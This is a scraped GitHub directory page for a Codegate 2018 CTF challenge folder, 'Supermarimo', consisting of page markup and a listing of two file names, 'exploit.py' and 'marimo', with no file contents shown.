<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>5</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/zj3t/ctf/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":118874597,"originating_url":"https://github.com/zj3t/ctf/tree/master/codegate2018/Supermarimo","user_id":null}}" data-hydro-click-hmac="51cc3f853488c89330f4fba6f542ef5f86da60907d2ebf3ca22496181f69cb4b"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/zj3t/ctf/refs" cache-key="v0:1516864473.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="emozdC9jdGY=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/zj3t/ctf/refs" cache-key="v0:1516864473.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="emozdC9jdGY=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>codegate2018</span></span><span>/</span>Supermarimo<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>codegate2018</span></span><span>/</span>Supermarimo<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/zj3t/ctf/tree-commit/2bb59e7b79bff6ccb7e956c1849f56793d35c165/codegate2018/Supermarimo" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/zj3t/ctf/file-list/master/codegate2018/Supermarimo"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>marimo</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 